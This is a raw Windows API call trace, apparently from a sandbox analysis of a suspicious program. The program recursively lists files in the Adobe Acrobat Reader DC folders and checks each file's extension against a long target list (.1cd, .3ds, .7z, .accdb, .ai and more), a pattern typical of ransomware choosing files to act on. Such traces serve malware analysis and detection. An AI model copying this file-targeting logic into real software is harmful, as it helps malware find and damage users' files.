	[0162.657] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdac9da78, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US.pak", cAlternateFileName="")) returned 1
	[0162.657] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdac9da78, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US.pak", cAlternateFileName="")) returned 0
	[0162.657] FindClose (in: hFindFile=0x5dd440 | out: hFindFile=0x5dd440) returned 1
	[0162.657] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0162.657] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaaadbf3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="natives_blob.bin", cAlternateFileName="NATIVE~1.BIN")) returned 1
	[0162.657] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc98600, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdb54228e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3cc98600, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xbff7f0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RdrCEF.exe", cAlternateFileName="")) returned 1
	[0162.657] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc98600, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdbc431b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3cc98600, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x13279f0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RdrServicesUpdater.exe", cAlternateFileName="RDRSER~1.EXE")) returned 1
	[0162.658] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaad3e64, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="snapshot_blob.bin", cAlternateFileName="SNAPSH~1.BIN")) returned 1
	[0162.658] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xda576987, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x361f0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="widevinecdmadapter.dll", cAlternateFileName="WIDEVI~1.DLL")) returned 1
	[0162.658] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xda576987, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x361f0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="widevinecdmadapter.dll", cAlternateFileName="WIDEVI~1.DLL")) returned 0
	[0162.658] FindClose (in: hFindFile=0x5dd1c0 | out: hFindFile=0x5dd1c0) returned 1
	[0162.658] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45c4058 | out: hHeap=0x4f0000) returned 1
	[0162.658] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1758800, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1abe0524, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe1758800, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x134b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrofx32.dll", cAlternateFileName="")) returned 1
	[0162.658] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf33f4ce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x16dc3f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroRd32.dll", cAlternateFileName="")) returned 1
	[0162.658] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf3b1bc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x21fdf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroRd32.exe", cAlternateFileName="")) returned 1
	[0162.658] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc98600, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf3d7e46, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3cc98600, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x71f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroRd32Info.exe", cAlternateFileName="ACRORD~1.EXE")) returned 1
	[0162.658] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf66062a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xe07ff0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroRd32Res.dll", cAlternateFileName="ACRORD~1.DLL")) returned 1
	[0162.659] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdec648c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x1c7f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroSup64.dll", cAlternateFileName="ACROSU~1.DLL")) returned 1
	[0162.659] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf6d2df0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xaff0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroTextExtractor.exe", cAlternateFileName="ACROTE~1.EXE")) returned 1
	[0162.659] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe2d82cf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x21df0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADelRCP.exe", cAlternateFileName="")) returned 1
	[0162.659] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37bc3c75, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x711, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe.Reader.Dependencies.manifest", cAlternateFileName="ADOBER~1.MAN")) returned 1
	[0162.659] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe2a15668, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xd87f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.exe", cAlternateFileName="ADOBEC~1.EXE")) returned 1
	[0162.659] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdea0236a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x7e1f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeLinguistic.dll", cAlternateFileName="ADOBEL~1.DLL")) returned 1
	[0162.659] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1f95cdaa, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x45650, dwReserved0=0x0, dwReserved1=0x0, cFileName="adoberfp.dll", cAlternateFileName="")) returned 1
	[0162.660] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1758800, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1b58fe2e, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe1758800, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x4ae50, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeXMP.dll", cAlternateFileName="")) returned 1
	[0162.660] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc98600, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf876737, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3cc98600, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x4e5df0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AGM.dll", cAlternateFileName="")) returned 1
	[0162.660] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x36fd7dc6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x6bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="AGMGPUOptIn.ini", cAlternateFileName="AGMGPU~1.INI")) returned 1
	[0162.660] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1758800, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1ab2191d, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe1758800, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x426b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ahclient.dll", cAlternateFileName="")) returned 1
	[0162.660] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xda8e3fa2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x116c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="AIDE.dll", cAlternateFileName="")) returned 1
	[0162.660] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xde91d4f2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xde91d4f2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xde91d4f2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AIR", cAlternateFileName="")) returned 1
	[0162.660] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45c4058
	[0162.660] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AIR") returned 57
	[0162.660] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AIR\\*", lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xde91d4f2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xde91d4f2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xde91d4f2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd1c0
	[0162.671] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xde91d4f2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xde91d4f2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xde91d4f2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0162.672] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a672c00, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xde91d4f2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3a672c00, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x3adf0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nppdf32.dll", cAlternateFileName="")) returned 1
	[0162.672] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a672c00, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xde91d4f2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3a672c00, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x3adf0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nppdf32.dll", cAlternateFileName="")) returned 0
	[0162.672] FindClose (in: hFindFile=0x5dd1c0 | out: hFindFile=0x5dd1c0) returned 1
	[0162.672] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45c4058 | out: hHeap=0x4f0000) returned 1
	[0162.672] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37a46528, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x152a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="arh.exe", cAlternateFileName="")) returned 1
	[0162.672] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a672c00, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdecd6f88, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3a672c00, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x309f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXE8SharedExpat.dll", cAlternateFileName="AXE8SH~1.DLL")) returned 1
	[0162.672] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a672c00, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xded23451, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3a672c00, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x989f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXSLE.dll", cAlternateFileName="")) returned 1
	[0162.672] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf89c98d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x1d1f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIB.dll", cAlternateFileName="")) returned 1
	[0162.672] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf89c98d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x269f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIBUtils.dll", cAlternateFileName="")) returned 1
	[0162.673] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x352a2928, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xde9b5e59, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xde9b5e59, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Browser", cAlternateFileName="")) returned 1
	[0162.673] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45c4058
	[0162.676] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser") returned 61
	[0162.676] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\*", lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x352a2928, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xde9b5e59, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xde9b5e59, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd480
	[0162.962] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x352a2928, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xde9b5e59, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xde9b5e59, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0162.963] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xde9b5e59, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x3adf0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nppdf32.dll", cAlternateFileName="")) returned 1
	[0162.963] lstrlenW (lpString="nppdf32.dll") returned 11
	[0162.963] lstrlenW (lpString=".1cd") returned 4
	[0162.963] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0162.963] lstrlenW (lpString=".3ds") returned 4
	[0162.963] lstrcmpiW (lpString1=".3ds", lpString2=".dll") returned -1
	[0162.963] lstrlenW (lpString=".3fr") returned 4
	[0162.963] lstrcmpiW (lpString1=".3fr", lpString2=".dll") returned -1
	[0162.963] lstrlenW (lpString=".3g2") returned 4
	[0162.963] lstrcmpiW (lpString1=".3g2", lpString2=".dll") returned -1
	[0162.963] lstrlenW (lpString=".3gp") returned 4
	[0162.963] lstrcmpiW (lpString1=".3gp", lpString2=".dll") returned -1
	[0162.963] lstrlenW (lpString=".7z") returned 3
	[0162.963] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0162.963] lstrlenW (lpString=".accda") returned 6
	[0162.963] lstrcmpiW (lpString1=".accda", lpString2="32.dll") returned -1
	[0162.963] lstrlenW (lpString=".accdb") returned 6
	[0162.963] lstrcmpiW (lpString1=".accdb", lpString2="32.dll") returned -1
	[0162.963] lstrlenW (lpString=".accdc") returned 6
	[0162.963] lstrcmpiW (lpString1=".accdc", lpString2="32.dll") returned -1
	[0162.963] lstrlenW (lpString=".accde") returned 6
	[0162.963] lstrcmpiW (lpString1=".accde", lpString2="32.dll") returned -1
	[0162.963] lstrlenW (lpString=".accdt") returned 6
	[0162.964] lstrcmpiW (lpString1=".accdt", lpString2="32.dll") returned -1
	[0162.964] lstrlenW (lpString=".accdw") returned 6
	[0162.964] lstrcmpiW (lpString1=".accdw", lpString2="32.dll") returned -1
	[0162.964] lstrlenW (lpString=".adb") returned 4
	[0162.964] lstrcmpiW (lpString1=".adb", lpString2=".dll") returned -1
	[0162.964] lstrlenW (lpString=".adp") returned 4
	[0162.964] lstrcmpiW (lpString1=".adp", lpString2=".dll") returned -1
	[0162.964] lstrlenW (lpString=".ai") returned 3
	[0162.964] lstrcmpiW (lpString1=".ai", lpString2="dll") returned -1
	[0162.964] lstrlenW (lpString=".ai3") returned 4
	[0162.964] lstrcmpiW (lpString1=".ai3", lpString2=".dll") returned -1
	[0162.964] lstrlenW (lpString=".ai4") returned 4
	[0162.964] lstrcmpiW (lpString1=".ai4", lpString2=".dll") returned -1
	[0162.964] lstrlenW (lpString=".ai5") returned 4
	[0162.964] lstrcmpiW (lpString1=".ai5", lpString2=".dll") returned -1
	[0162.964] lstrlenW (lpString=".ai6") returned 4
	[0162.964] lstrcmpiW (lpString1=".ai6", lpString2=".dll") returned -1
	[0162.964] lstrlenW (lpString=".ai7") returned 4
	[0162.964] lstrcmpiW (lpString1=".ai7", lpString2=".dll") returned -1
	[0162.964] lstrlenW (lpString=".ai8") returned 4
	[0162.964] lstrcmpiW (lpString1=".ai8", lpString2=".dll") returned -1
	[0162.964] lstrlenW (lpString=".anim") returned 5
	[0162.964] lstrcmpiW (lpString1=".anim", lpString2="2.dll") returned -1
	[0162.964] lstrlenW (lpString=".arw") returned 4
	[0162.964] lstrcmpiW (lpString1=".arw", lpString2=".dll") returned -1
	[0162.964] lstrlenW (lpString=".as") returned 3
	[0162.965] lstrcmpiW (lpString1=".as", lpString2="dll") returned -1
	[0162.965] lstrlenW (lpString=".asa") returned 4
	[0162.965] lstrcmpiW (lpString1=".asa", lpString2=".dll") returned -1
